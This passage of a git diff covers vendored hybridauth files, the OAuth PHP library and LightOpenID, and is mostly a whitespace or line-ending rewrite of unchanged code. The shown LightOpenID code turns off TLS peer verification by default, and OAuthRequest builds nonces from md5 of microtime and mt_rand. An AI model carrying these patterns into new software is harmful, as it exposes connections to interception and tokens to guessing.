proper content-type, so parse POST + // parameters and add those overriding any duplicates from GET + if ($http_method == "POST" && isset($request_headers['Content-Type']) && strstr($request_headers['Content-Type'], 'application/x-www-form-urlencoded')) { + $post_data = OAuthUtil::parse_parameters(file_get_contents(self::$POST_INPUT)); + $parameters = array_merge($parameters, $post_data); + } + + // We have a Authorization-header with OAuth data. Parse the header + // and add those overriding any duplicates from GET or POST + if (isset($request_headers['Authorization']) && substr($request_headers['Authorization'], 0, 6) == 'OAuth ') { + $header_parameters = OAuthUtil::split_header($request_headers['Authorization']); + $parameters = array_merge($parameters, $header_parameters); + } + } + + return new OAuthRequest($http_method, $http_url, $parameters); + } + + /** + * pretty much a helper function to set up the request + * @param $consumer + * @param $token + * @param $http_method + * @param $http_url + * @param null $parameters + * @return OAuthRequest +*/ + public static function from_consumer_and_token($consumer, $token, $http_method, $http_url, $parameters = null) + { + $parameters = ($parameters) ? $parameters : array(); + $defaults = array( + "oauth_version" => OAuthRequest::$version, + "oauth_nonce" => OAuthRequest::generate_nonce(), + "oauth_timestamp" => OAuthRequest::generate_timestamp(), + "oauth_consumer_key" => $consumer->key + ); + if ($token) { + $defaults['oauth_token'] = $token->key; + } + + $parameters = array_merge($defaults, $parameters); + + return new OAuthRequest($http_method, $http_url, $parameters); + } + + /** + * @param $name + * @param $value + * @param bool $allow_duplicates + */ + public function set_parameter($name, $value, $allow_duplicates = true) + { + if ($allow_duplicates && isset($this->parameters[$name])) { + // We have already added parameter(s) with this name, so add to the list + if (is_scalar($this->parameters[$name])) { + // This is the first duplicate, so transform scalar (string) + // into an array so we can add the duplicates + $this->parameters[$name] = array( + $this->parameters[$name] + ); + } + + $this->parameters[$name][] = $value; + } else { + $this->parameters[$name] = $value; + } + } + + /** + * @param $name + * + * @return |null + */ + public function get_parameter($name) + { + return isset($this->parameters[$name]) ? $this->parameters[$name] : null; + } + + /** + * @return array + */ + public function get_parameters() + { + return $this->parameters; + } + + /** + * @param $name + */ + public function unset_parameter($name) + { + unset($this->parameters[$name]); + } + + /** + * The request parameters, sorted and concatenated into a normalized string. + * + * @return string + */ + public function get_signable_parameters() + { + $params = []; + + // Grab all parameters. + foreach ($this->parameters as $key_param => $value_param) { + // Process only scalar values. + if (is_scalar($value_param)) { + $params[$key_param] = $value_param; + } + } + + // Remove oauth_signature if present + // Ref: Spec: 9.1.1 ("The oauth_signature parameter MUST be excluded.") + if (isset($params['oauth_signature'])) { + unset($params['oauth_signature']); + } + + return OAuthUtil::build_http_query($params); + } + + /** + * Returns the base string of this request + * + * The base string defined as the method, the url + * and the parameters (normalized), each urlencoded + * and the concated with &. + */ + public function get_signature_base_string() + { + $parts = array( + $this->get_normalized_http_method(), + $this->get_normalized_http_url(), + $this->get_signable_parameters() + ); + + $parts = OAuthUtil::urlencode_rfc3986($parts); + + return implode('&', $parts); + } + + /** + * just uppercases the http method + */ + public function get_normalized_http_method() + { + return strtoupper($this->http_method); + } + + /** + * parses the url and rebuilds it to be + * scheme://host/path + */ + public function get_normalized_http_url() + { + $parts = parse_url($this->http_url); + + $scheme = (isset($parts['scheme'])) ? $parts['scheme'] : 'http'; + $port = (isset($parts['port'])) ? $parts['port'] : (($scheme == 'https') ? '443' : '80'); + $host = (isset($parts['host'])) ? strtolower($parts['host']) : ''; + $path = (isset($parts['path'])) ? $parts['path'] : ''; + + if (($scheme == 'https' && $port != '443') || ($scheme == 'http' && $port != '80')) { + $host = "$host:$port"; + } + return "$scheme://$host$path"; + } + + /** + * builds a url usable for a GET request + */ + public function to_url() + { + $post_data = $this->to_postdata(); + $out = $this->get_normalized_http_url(); + if ($post_data) { + $out .= '?' . $post_data; + } + return $out; + } + + /** + * builds the data one would send in a POST request + */ + public function to_postdata() + { + return OAuthUtil::build_http_query($this->parameters); + } + + /** + * builds the Authorization: header + * @param null $realm + * @return array +*/ + public function to_header($realm = null) + { + $first = true; + if ($realm) { + $out = 'OAuth realm="' . OAuthUtil::urlencode_rfc3986($realm) . '"'; + $first = false; + } else { + $out = 'OAuth'; + } + + foreach ($this->parameters as $k => $v) { + if (substr($k, 0, 5) != "oauth") { + continue; + } + if (is_array($v)) { + continue; + } + $out .= ($first) ? ' ' : ','; + $out .= OAuthUtil::urlencode_rfc3986($k) . '="' . OAuthUtil::urlencode_rfc3986($v) . '"'; + $first = false; + } + + return array( + 'Authorization' => $out + ); //- hacked into this to make it return an array. 15/11/2014. + } + + /** + * @return string + */ + public function __toString() + { + return $this->to_url(); + } + + /** + * @param $signature_method + * @param $consumer + * @param $token + */ + public function sign_request($signature_method, $consumer, $token) + { + $this->set_parameter("oauth_signature_method", $signature_method->get_name(), false); + $signature = $this->build_signature($signature_method, $consumer, $token); + $this->set_parameter("oauth_signature", $signature, false); + } + + /** + * @param $signature_method + * @param $consumer + * @param $token + * + * @return mixed + */ + public function build_signature($signature_method, $consumer, $token) + { + $signature = $signature_method->build_signature($this, $consumer, $token); + return $signature; + } + + /** + * util function: current timestamp + */ + private static function generate_timestamp() + { + return time(); + } + + /** + * util function: current nonce + */ + private static function generate_nonce() + { + $mt = microtime(); + $rand = mt_rand(); + + return md5($mt . $rand); // md5s look nicer than numbers + } +} diff --git a/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthSignatureMethod.php b/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthSignatureMethod.php index 50ce1fdaa3..810be01196 100644 --- a/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthSignatureMethod.php +++ b/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthSignatureMethod.php @@ -1,67 +1,67 @@ -build_signature($request, $consumer, $token); - - // Check for zero length, although unlikely here - if (strlen($built) == 0 || strlen($signature) == 0) { - return false; - } - - if (strlen($built) != strlen($signature)) { - return false; - } - - // Avoid a timing leak with a (hopefully) time insensitive compare - $result = 0; - for ($i = 0; $i < strlen($signature); $i ++) { - $result |= ord($built[$i]) ^ ord($signature[$i]); - } - - return $result == 0; - } -} +build_signature($request, $consumer, $token); + + // Check for zero length, although unlikely here + if (strlen($built) == 0 || strlen($signature) == 0) { + return false; + } + + if (strlen($built) != strlen($signature)) { + return false; + } + + // Avoid a timing leak with a (hopefully) time insensitive compare + $result = 0; + for ($i = 0; $i < strlen($signature); $i ++) { + $result |= ord($built[$i]) ^ ord($signature[$i]); + } + + return $result == 0; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthSignatureMethodHMACSHA1.php b/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthSignatureMethodHMACSHA1.php index 5691214929..43f6d81ac0 100644 --- a/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthSignatureMethodHMACSHA1.php +++ b/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthSignatureMethodHMACSHA1.php @@ -1,44 +1,44 @@ -get_signature_base_string(); - $request->base_string = $base_string; - - $key_parts = array( $consumer->secret, $token ? $token->secret : '' ); - - $key_parts = OAuthUtil::urlencode_rfc3986($key_parts); - $key = implode('&', $key_parts); - - return base64_encode(hash_hmac('sha1', $base_string, $key, true)); - } -} +get_signature_base_string(); + $request->base_string = $base_string; + + $key_parts = array( $consumer->secret, $token ? $token->secret : '' ); + + $key_parts = OAuthUtil::urlencode_rfc3986($key_parts); + $key = implode('&', $key_parts); + + return base64_encode(hash_hmac('sha1', $base_string, $key, true)); + } +} diff --git a/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthUtil.php b/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthUtil.php index 4f5e2a63d6..7c1b223369 100644 --- a/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthUtil.php +++ b/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/OAuthUtil.php @@ -1,199 +1,199 @@ - $h) { - $params[$h] = OAuthUtil::urldecode_rfc3986(empty($matches[3][$i]) ? $matches[4][$i] : $matches[3][$i]); - } - if (isset($params['realm'])) { - unset($params['realm']); - } - } - return $params; - } - - // helper to try to sort out headers for people who aren't running apache - - /** - * @return array - */ - public static function get_headers() - { - if (function_exists('apache_request_headers')) { - // we need this to get the actual Authorization: header - // because apache tends to tell us it doesn't exist - $headers = apache_request_headers(); - - // sanitize the output of apache_request_headers because - // we always want the keys to be Cased-Like-This and arh() - // returns the headers in the same case as they are in the - // request - $out = array(); - foreach ($headers as $key => $value) { - $key = str_replace(" ", "-", ucwords(strtolower(str_replace("-", " ", $key)))); - $out[$key] = $value; - } - } else { - // otherwise we don't have apache and are just going to have to hope - // that $_SERVER actually contains what we need - $out = array(); - if (isset($_SERVER['CONTENT_TYPE'])) { - $out['Content-Type'] = $_SERVER['CONTENT_TYPE']; - } - if (isset($_ENV['CONTENT_TYPE'])) { - $out['Content-Type'] = $_ENV['CONTENT_TYPE']; - } - - foreach ($_SERVER as $key => $value) { - if (substr($key, 0, 5) == "HTTP_") { - // this is chaos, basically it is just there to capitalize the first - // letter of every word that is not an initial HTTP and strip HTTP - // code from przemek - $key = str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($key, 5))))); - $out[$key] = $value; - } - } - } - return $out; - } - - // This function takes a input like a=b&a=c&d=e and returns the parsed - // parameters like this - // array('a' => array('b','c'), 'd' => 'e') - /** - * @param $input - * - * @return array - */ - public static function parse_parameters($input) - { - if (!isset($input) || !$input) { - return array(); - } - - $pairs = explode('&', $input); - - $parsed_parameters = array(); - foreach ($pairs as $pair) { - $split = explode('=', $pair, 2); - $parameter = OAuthUtil::urldecode_rfc3986($split[0]); - $value = isset($split[1]) ? OAuthUtil::urldecode_rfc3986($split[1]) : ''; - - if (isset($parsed_parameters[$parameter])) { - // We have already recieved parameter(s) with this name, so add to the list - // of parameters with this name - - if (is_scalar($parsed_parameters[$parameter])) { - // This is the first duplicate, so transform scalar (string) into an array - // so we can add the duplicates - $parsed_parameters[$parameter] = array( - $parsed_parameters[$parameter] - ); - } - - $parsed_parameters[$parameter][] = $value; - } else { - $parsed_parameters[$parameter] = $value; - } - } - return $parsed_parameters; - } - - /** - * @param $params - * - * @return string - */ - public static function build_http_query($params) - { - if (!$params) { - return ''; - } - - // Urlencode both keys and values - $keys = OAuthUtil::urlencode_rfc3986(array_keys($params)); - $values = OAuthUtil::urlencode_rfc3986(array_values($params)); - $params = array_combine($keys, $values); - - // Parameters are sorted by name, using lexicographical byte value ordering. - // Ref: Spec: 9.1.1 (1) - uksort($params, 'strcmp'); - - $pairs = array(); - foreach ($params as $parameter => $value) { - if (is_array($value)) { - // If two or more parameters share the same name, they are sorted by their value - // Ref: Spec: 9.1.1 (1) - // June 12th, 2010 - changed to sort because of issue 164 by hidetaka - sort($value, SORT_STRING); - foreach ($value as $duplicate_value) { - $pairs[] = $parameter . '=' . $duplicate_value; - } - } else { - $pairs[] = $parameter . '=' . $value; - } - } - // For each parameter, the name is separated from the corresponding value by an '=' character (ASCII code 61) - // Each name-value pair is separated by an '&' character (ASCII code 38) - return implode('&', $pairs); - } -} + $h) { + $params[$h] = OAuthUtil::urldecode_rfc3986(empty($matches[3][$i]) ? $matches[4][$i] : $matches[3][$i]); + } + if (isset($params['realm'])) { + unset($params['realm']); + } + } + return $params; + } + + // helper to try to sort out headers for people who aren't running apache + + /** + * @return array + */ + public static function get_headers() + { + if (function_exists('apache_request_headers')) { + // we need this to get the actual Authorization: header + // because apache tends to tell us it doesn't exist + $headers = apache_request_headers(); + + // sanitize the output of apache_request_headers because + // we always want the keys to be Cased-Like-This and arh() + // returns the headers in the same case as they are in the + // request + $out = array(); + foreach ($headers as $key => $value) { + $key = str_replace(" ", "-", ucwords(strtolower(str_replace("-", " ", $key)))); + $out[$key] = $value; + } + } else { + // otherwise we don't have apache and are just going to have to hope + // that $_SERVER actually contains what we need + $out = array(); + if (isset($_SERVER['CONTENT_TYPE'])) { + $out['Content-Type'] = $_SERVER['CONTENT_TYPE']; + } + if (isset($_ENV['CONTENT_TYPE'])) { + $out['Content-Type'] = $_ENV['CONTENT_TYPE']; + } + + foreach ($_SERVER as $key => $value) { + if (substr($key, 0, 5) == "HTTP_") { + // this is chaos, basically it is just there to capitalize the first + // letter of every word that is not an initial HTTP and strip HTTP + // code from przemek + $key = str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($key, 5))))); + $out[$key] = $value; + } + } + } + return $out; + } + + // This function takes a input like a=b&a=c&d=e and returns the parsed + // parameters like this + // array('a' => array('b','c'), 'd' => 'e') + /** + * @param $input + * + * @return array + */ + public static function parse_parameters($input) + { + if (!isset($input) || !$input) { + return array(); + } + + $pairs = explode('&', $input); + + $parsed_parameters = array(); + foreach ($pairs as $pair) { + $split = explode('=', $pair, 2); + $parameter = OAuthUtil::urldecode_rfc3986($split[0]); + $value = isset($split[1]) ? OAuthUtil::urldecode_rfc3986($split[1]) : ''; + + if (isset($parsed_parameters[$parameter])) { + // We have already recieved parameter(s) with this name, so add to the list + // of parameters with this name + + if (is_scalar($parsed_parameters[$parameter])) { + // This is the first duplicate, so transform scalar (string) into an array + // so we can add the duplicates + $parsed_parameters[$parameter] = array( + $parsed_parameters[$parameter] + ); + } + + $parsed_parameters[$parameter][] = $value; + } else { + $parsed_parameters[$parameter] = $value; + } + } + return $parsed_parameters; + } + + /** + * @param $params + * + * @return string + */ + public static function build_http_query($params) + { + if (!$params) { + return ''; + } + + // Urlencode both keys and values + $keys = OAuthUtil::urlencode_rfc3986(array_keys($params)); + $values = OAuthUtil::urlencode_rfc3986(array_values($params)); + $params = array_combine($keys, $values); + + // Parameters are sorted by name, using lexicographical byte value ordering. + // Ref: Spec: 9.1.1 (1) + uksort($params, 'strcmp'); + + $pairs = array(); + foreach ($params as $parameter => $value) { + if (is_array($value)) { + // If two or more parameters share the same name, they are sorted by their value + // Ref: Spec: 9.1.1 (1) + // June 12th, 2010 - changed to sort because of issue 164 by hidetaka + sort($value, SORT_STRING); + foreach ($value as $duplicate_value) { + $pairs[] = $parameter . '=' . $duplicate_value; + } + } else { + $pairs[] = $parameter . '=' . $value; + } + } + // For each parameter, the name is separated from the corresponding value by an '=' character (ASCII code 61) + // Each name-value pair is separated by an '&' character (ASCII code 38) + return implode('&', $pairs); + } +} diff --git a/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/README.md b/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/README.md index 1ce26ea37c..5807ab1362 100644 --- a/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/README.md +++ b/vendor/hybridauth/hybridauth/src/Thirdparty/OAuth/README.md @@ -1,7 +1,7 @@ -This package contains OAuth PHP Library. - -OAuth PHP Library is an open source software available under the MIT License. - -https://code.google.com/p/oauth/ - -http://oauth.googlecode.com/svn/code/php/LICENSE.txt +This package contains OAuth PHP Library. + +OAuth PHP Library is an open source software available under the MIT License. + +https://code.google.com/p/oauth/ + +http://oauth.googlecode.com/svn/code/php/LICENSE.txt diff --git a/vendor/hybridauth/hybridauth/src/Thirdparty/OpenID/LightOpenID.php b/vendor/hybridauth/hybridauth/src/Thirdparty/OpenID/LightOpenID.php index c22daaca45..14deab36a5 100644 --- a/vendor/hybridauth/hybridauth/src/Thirdparty/OpenID/LightOpenID.php +++ b/vendor/hybridauth/hybridauth/src/Thirdparty/OpenID/LightOpenID.php @@ -1,1256 +1,1256 @@ -= 5.1.2 with cURL or HTTP/HTTPS stream wrappers enabled. - * - * @version v1.3.1 (2016-03-04) - * @link https://code.google.com/p/lightopenid/ Project URL - * @link https://github.com/iignatov/LightOpenID GitHub Repo - * @author Mewp - * @copyright Copyright (c) 2013 Mewp - * @license http://opensource.org/licenses/mit-license.php MIT License - */ -class LightOpenID -{ - public $returnUrl - ; - public $required = array() - ; - public $optional = array() - ; - public $verify_peer = null - ; - public $capath = null - ; - public $cainfo = null - ; - public $cnmatch = null - ; - public $data - ; - public $oauth = array() - ; - public $curl_time_out = 30 // in seconds - ; - public $curl_connect_time_out = 30; // in seconds - private $identity; - private $claimed_id; - protected $server; - protected $version; - protected $trustRoot; - protected $aliases; - protected $identifier_select = false - ; - protected $ax = false; - protected $sreg = false; - protected $setup_url = null; - protected $headers = array() - ; - protected $proxy = null; - protected $user_agent = 'LightOpenID' - ; - protected $xrds_override_pattern = null; - protected $xrds_override_replacement = null; - protected static $ax_to_sreg = array( - 'namePerson/friendly' => 'nickname', - 'contact/email' => 'email', - 'namePerson' => 'fullname', - 'birthDate' => 'dob', - 'person/gender' => 'gender', - 'contact/postalCode/home' => 'postcode', - 'contact/country/home' => 'country', - 'pref/language' => 'language', - 'pref/timezone' => 'timezone', - ); - - /** - * LightOpenID constructor. - * - * @param $host - * @param null $proxy - * - * @throws ErrorException - */ - public function __construct($host, $proxy = null) - { - $this->set_realm($host); - $this->set_proxy($proxy); - - $uri = rtrim(preg_replace('#((?<=\?)|&)openid\.[^&]+#', '', $_SERVER['REQUEST_URI']), '?'); - $this->returnUrl = $this->trustRoot . $uri; - - $this->data = ($_SERVER['REQUEST_METHOD'] === 'POST') ? $_POST : $_GET; - - if (!function_exists('curl_init') && !in_array('https', stream_get_wrappers())) { - throw new ErrorException('You must have either https wrappers or curl enabled.'); - } - } - - /** - * @param $name - * - * @return bool - */ - public function __isset($name) - { - return in_array($name, array('identity', 'trustRoot', 'realm', 'xrdsOverride', 'mode')); - } - - /** - * @param $name - * @param $value - */ - public function __set($name, $value) - { - switch ($name) { - case 'identity': - if (strlen($value = trim((String) $value))) { - if (preg_match('#^xri:/*#i', $value, $m)) { - $value = substr($value, strlen($m[0])); - } elseif (!preg_match('/^(?:[=@+\$!\(]|https?:)/i', $value)) { - $value = "http://$value"; - } - if (preg_match('#^https?://[^/]+$#i', $value, $m)) { - $value .= '/'; - } - } - $this->$name = $this->claimed_id = $value; - break; - case 'trustRoot': - case 'realm': - $this->trustRoot = trim($value); - break; - case 'xrdsOverride': - if (is_array($value)) { - list($pattern, $replacement) = $value; - $this->xrds_override_pattern = $pattern; - $this->xrds_override_replacement = $replacement; - } else { - trigger_error('Invalid value specified for "xrdsOverride".', E_USER_ERROR); - } - break; - } - } - - /** - * @param $name - * - * @return |null - */ - public function __get($name) - { - switch ($name) { - case 'identity': - # We return claimed_id instead of identity, - # because the developer should see the claimed identifier, - # i.e. what he set as identity, not the op-local identifier (which is what we verify) - return $this->claimed_id; - case 'trustRoot': - case 'realm': - return $this->trustRoot; - case 'mode': - return empty($this->data['openid_mode']) ? null : $this->data['openid_mode']; - } - } - - /** - * @param $proxy - * - * @throws ErrorException - */ - public function set_proxy($proxy) - { - if (!empty($proxy)) { - // When the proxy is a string - try to parse it. - if (!is_array($proxy)) { - $proxy = parse_url($proxy); - } - - // Check if $proxy is valid after the parsing. - if ($proxy && !empty($proxy['host'])) { - // Make sure that a valid port number is specified. - if (array_key_exists('port', $proxy)) { - if (!is_int($proxy['port'])) { - $proxy['port'] = is_numeric($proxy['port']) ? intval($proxy['port']) : 0; - } - - if ($proxy['port'] <= 0) { - throw new ErrorException('The specified proxy port number is invalid.'); - } - } - - $this->proxy = $proxy; - } - } - } - - /** - * Checks if the server specified in the url exists. - * - * @param $url string url to check - * @return true, if the server exists; false otherwise - */ - public function hostExists($url) - { - if (strpos($url, '/') === false) { - $server = $url; - } else { - $server = @parse_url($url, PHP_URL_HOST); - } - - if (!$server) { - return false; - } - - return !!gethostbynamel($server); - } - - /** - * @param $uri - */ - protected function set_realm($uri) - { - $realm = ''; - - # Set a protocol, if not specified. - $realm .= (($offset = strpos($uri, '://')) === false) ? $this->get_realm_protocol() : ''; - - # Set the offset properly. - $offset = (($offset !== false) ? $offset + 3 : 0); - - # Get only the root, without the path. - $realm .= (($end = strpos($uri, '/', $offset)) === false) ? $uri : substr($uri, 0, $end); - - $this->trustRoot = $realm; - } - - /** - * @return string - */ - protected function get_realm_protocol() - { - if (!empty($_SERVER['HTTPS'])) { - $use_secure_protocol = ($_SERVER['HTTPS'] !== 'off'); - } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) { - $use_secure_protocol = ($_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'); - } elseif (isset($_SERVER['HTTP__WSSC'])) { - $use_secure_protocol = ($_SERVER['HTTP__WSSC'] == 'https'); - } else { - $use_secure_protocol = false; - } - - return $use_secure_protocol ? 'https://' : 'http://'; - } - - /** - * @param $url - * @param string $method - * @param array $params - * @param $update_claimed_id - * - * @return array|bool|string - * @throws ErrorException - */ - protected function request_curl($url, $method='GET', $params=array(), $update_claimed_id=false) - { - $params = http_build_query($params, '', '&'); - $curl = curl_init($url . ($method == 'GET' && $params ? '?' . $params : '')); - curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); - curl_setopt($curl, CURLOPT_HEADER, false); - curl_setopt($curl, CURLOPT_USERAGENT, $this->user_agent); - curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); - curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); - - if ($method == 'POST') { - curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-type: application/x-www-form-urlencoded')); - } else { - curl_setopt($curl, CURLOPT_HTTPHEADER, array('Accept: application/xrds+xml, */*')); - } - - curl_setopt($curl, CURLOPT_TIMEOUT, $this->curl_time_out); // defaults to infinite - curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, $this->curl_connect_time_out); // defaults to 300s - - if (!empty($this->proxy)) { - curl_setopt($curl, CURLOPT_PROXY, $this->proxy['host']); - - if (!empty($this->proxy['port'])) { - curl_setopt($curl, CURLOPT_PROXYPORT, $this->proxy['port']); - } - - if (!empty($this->proxy['user'])) { - curl_setopt($curl, CURLOPT_PROXYUSERPWD, $this->proxy['user'] . ':' . $this->proxy['pass']); - } - } - - if ($this->verify_peer !== null) { - curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, $this->verify_peer); - if ($this->capath) { - curl_setopt($curl, CURLOPT_CAPATH, $this->capath); - } - - if ($this->cainfo) { - curl_setopt($curl, CURLOPT_CAINFO, $this->cainfo); - } - } - - if ($method == 'POST') { - curl_setopt($curl, CURLOPT_POST, true); - curl_setopt($curl, CURLOPT_POSTFIELDS, $params); - } elseif ($method == 'HEAD') { - curl_setopt($curl, CURLOPT_HEADER, true); - curl_setopt($curl, CURLOPT_NOBODY, true); - } else { - curl_setopt($curl, CURLOPT_HEADER, true); - curl_setopt($curl, CURLOPT_HTTPGET, true); - } - $response = curl_exec($curl); - - if ($method == 'HEAD' && curl_getinfo($curl, CURLINFO_HTTP_CODE) == 405) { - curl_setopt($curl, CURLOPT_HTTPGET, true); - $response = curl_exec($curl); - $response = substr($response, 0, strpos($response, "\r\n\r\n")); - } - - if ($method == 'HEAD' || $method == 'GET') { - $header_response = $response; - - # If it's a GET request, we want to only parse the header part. - if ($method == 'GET') { - $header_response = substr($response, 0, strpos($response, "\r\n\r\n")); - } - - $headers = array(); - foreach (explode("\n", $header_response) as $header) { - $pos = strpos($header, ':'); - if ($pos !== false) { - $name = strtolower(trim(substr($header, 0, $pos))); - $headers[$name] = trim(substr($header, $pos+1)); - } - } - - if ($update_claimed_id) { - # Update the claimed_id value in case of redirections. - $effective_url = curl_getinfo($curl, CURLINFO_EFFECTIVE_URL); - # Ignore the fragment (some cURL versions don't handle it well). - if (strtok($effective_url, '#') != strtok($url, '#')) { - $this->identity = $this->claimed_id = $effective_url; - } - } - - if ($method == 'HEAD') { - return $headers; - } else { - $this->headers = $headers; - } - } - - if (curl_errno($curl)) { - throw new ErrorException(curl_error($curl), curl_errno($curl)); - } - - return $response; - } - - /** - * @param $array - * @param $update_claimed_id - * - * @return array - */ - protected function parse_header_array($array, $update_claimed_id) - { - $headers = array(); - foreach ($array as $header) { - $pos = strpos($header, ':'); - if ($pos !== false) { - $name = strtolower(trim(substr($header, 0, $pos))); - $headers[$name] = trim(substr($header, $pos+1)); - - # Following possible redirections. The point is just to have - # claimed_id change with them, because the redirections - # are followed automatically. - # We ignore redirections with relative paths. - # If any known provider uses them, file a bug report. - if ($name == 'location' && $update_claimed_id) { - if (strpos($headers[$name], 'http') === 0) { - $this->identity = $this->claimed_id = $headers[$name]; - } elseif ($headers[$name][0] == '/') { - $parsed_url = parse_url($this->claimed_id); - $this->identity = - $this->claimed_id = $parsed_url['scheme'] . '://' - . $parsed_url['host'] - . $headers[$name]; - } - } - } - } - return $headers; - } - - /** - * @param $url - * @param string $method - * @param array $params - * @param $update_claimed_id - * - * @return array|false|string - * @throws ErrorException - */ - protected function request_streams($url, $method='GET', $params=array(), $update_claimed_id=false) - { - if (!$this->hostExists($url)) { - throw new ErrorException("Could not connect to $url.", 404); - } - - if (empty($this->cnmatch)) { - $this->cnmatch = parse_url($url, PHP_URL_HOST); - } - - $params = http_build_query($params, '', '&'); - switch ($method) { - case 'GET': - $opts = array( - 'http' => array( - 'method' => 'GET', - 'header' => 'Accept: application/xrds+xml, */*', - 'user_agent' => $this->user_agent, - 'ignore_errors' => true, - ), - 'ssl' => array( - 'CN_match' => $this->cnmatch - ) - ); - $url = $url . ($params ? '?' . $params : ''); - if (!empty($this->proxy)) { - $opts['http']['proxy'] = $this->proxy_url(); - } - break; - case 'POST': - $opts = array( - 'http' => array( - 'method' => 'POST', - 'header' => 'Content-type: application/x-www-form-urlencoded', - 'user_agent' => $this->user_agent, - 'content' => $params, - 'ignore_errors' => true, - ), - 'ssl' => array( - 'CN_match' => $this->cnmatch - ) - ); - if (!empty($this->proxy)) { - $opts['http']['proxy'] = $this->proxy_url(); - } - break; - case 'HEAD': - // We want to send a HEAD request, but since get_headers() doesn't - // accept $context parameter, we have to change the defaults. - $default = stream_context_get_options(stream_context_get_default()); - - // PHP does not reset all options. Instead, it just sets the options - // available in the passed array, therefore set the defaults manually. - $default += array( - 'http' => array(), - 'ssl' => array() - ); - $default['http'] += array( - 'method' => 'GET', - 'header' => '', - 'user_agent' => '', - 'ignore_errors' => false - ); - $default['ssl'] += array( - 'CN_match' => '' - ); - - $opts = array( - 'http' => array( - 'method' => 'HEAD', - 'header' => 'Accept: application/xrds+xml, */*', - 'user_agent' => $this->user_agent, - 'ignore_errors' => true, - ), - 'ssl' => array( - 'CN_match' => $this->cnmatch - ) - ); - - // Enable validation of the SSL certificates. - if ($this->verify_peer) { - $default['ssl'] += array( - 'verify_peer' => false, - 'capath' => '', - 'cafile' => '' - ); - $opts['ssl'] += array( - 'verify_peer' => true, - 'capath' => $this->capath, - 'cafile' => $this->cainfo - ); - } - - // Change the stream context options. - stream_context_get_default($opts); - - $headers = get_headers($url . ($params ? '?' . $params : '')); - - // Restore the stream context options. - stream_context_get_default($default); - - if (!empty($headers)) { - if (intval(substr($headers[0], strlen('HTTP/1.1 '))) == 405) { - // The server doesn't support HEAD - emulate it with a GET. - $args = func_get_args(); - $args[1] = 'GET'; - call_user_func_array(array($this, 'request_streams'), $args); - $headers = $this->headers; - } else { - $headers = $this->parse_header_array($headers, $update_claimed_id); - } - } else { - $headers = array(); - } - - return $headers; - } - - if ($this->verify_peer) { - $opts['ssl'] += array( - 'verify_peer' => true, - 'capath' => $this->capath, - 'cafile' => $this->cainfo - ); - } - - $context = stream_context_create($opts); - $data = file_get_contents($url, false, $context); - # This is a hack for providers who don't support HEAD requests. - # It just creates the headers array for the last request in $this->headers. - if (isset($http_response_header)) { - $this->headers = $this->parse_header_array($http_response_header, $update_claimed_id); - } - - return $data; - } - - /** - * @param $url - * @param string $method - * @param array $params - * @param bool $update_claimed_id - * - * @return array|bool|false|string - * @throws ErrorException - */ - protected function request($url, $method='GET', $params=array(), $update_claimed_id=false) - { - $use_curl = false; - - if (function_exists('curl_init')) { - if (!$use_curl) { - # When allow_url_fopen is disabled, PHP streams will not work. - $use_curl = !ini_get('allow_url_fopen'); - } - - if (!$use_curl) { - # When there is no HTTPS wrapper, PHP streams cannott be used. - $use_curl = !in_array('https', stream_get_wrappers()); - } - - if (!$use_curl) { - # With open_basedir or safe_mode set, cURL can't follow redirects. - $use_curl = !(ini_get('safe_mode') || ini_get('open_basedir')); - } - } - - return - $use_curl - ? $this->request_curl($url, $method, $params, $update_claimed_id) - : $this->request_streams($url, $method, $params, $update_claimed_id); - } - - /** - * @return string - */ - protected function proxy_url() - { - $result = ''; - - if (!empty($this->proxy)) { - $result = $this->proxy['host']; - - if (!empty($this->proxy['port'])) { - $result = $result . ':' . $this->proxy['port']; - } - - if (!empty($this->proxy['user'])) { - $result = $this->proxy['user'] . ':' . $this->proxy['pass'] . '@' . $result; - } - - $result = 'http://' . $result; - } - - return $result; - } - - /** - * @param $url - * @param $parts - * - * @return string - */ - protected function build_url($url, $parts) - { - if (isset($url['query'], $parts['query'])) { - $parts['query'] = $url['query'] . '&' . $parts['query']; - } - - $url = $parts + $url; - $url = $url['scheme'] . '://' - . (empty($url['username'])?'' - :(empty($url['password'])? "{$url['username']}@" - :"{$url['username']}:{$url['password']}@")) - . $url['host'] - . (empty($url['port'])?'':":{$url['port']}") - . (empty($url['path'])?'':$url['path']) - . (empty($url['query'])?'':"?{$url['query']}") - . (empty($url['fragment'])?'':"#{$url['fragment']}"); - return $url; - } - - /** - * Helper function used to scan for / tags and extract information - * from them - * - * @param $content - * @param $tag - * @param $attrName - * @param $attrValue - * @param $valueName - * - * @return bool - */ - protected function htmlTag($content, $tag, $attrName, $attrValue, $valueName) - { - preg_match_all("#<{$tag}[^>]*$attrName=['\"].*?$attrValue.*?['\"][^>]*$valueName=['\"](.+?)['\"][^>]*/?>#i", $content, $matches1); - preg_match_all("#<{$tag}[^>]*$valueName=['\"](.+?)['\"][^>]*$attrName=['\"].*?$attrValue.*?['\"][^>]*/?>#i", $content, $matches2); - - $result = array_merge($matches1[1], $matches2[1]); - return empty($result)?false:$result[0]; - } - - /** - * Performs Yadis and HTML 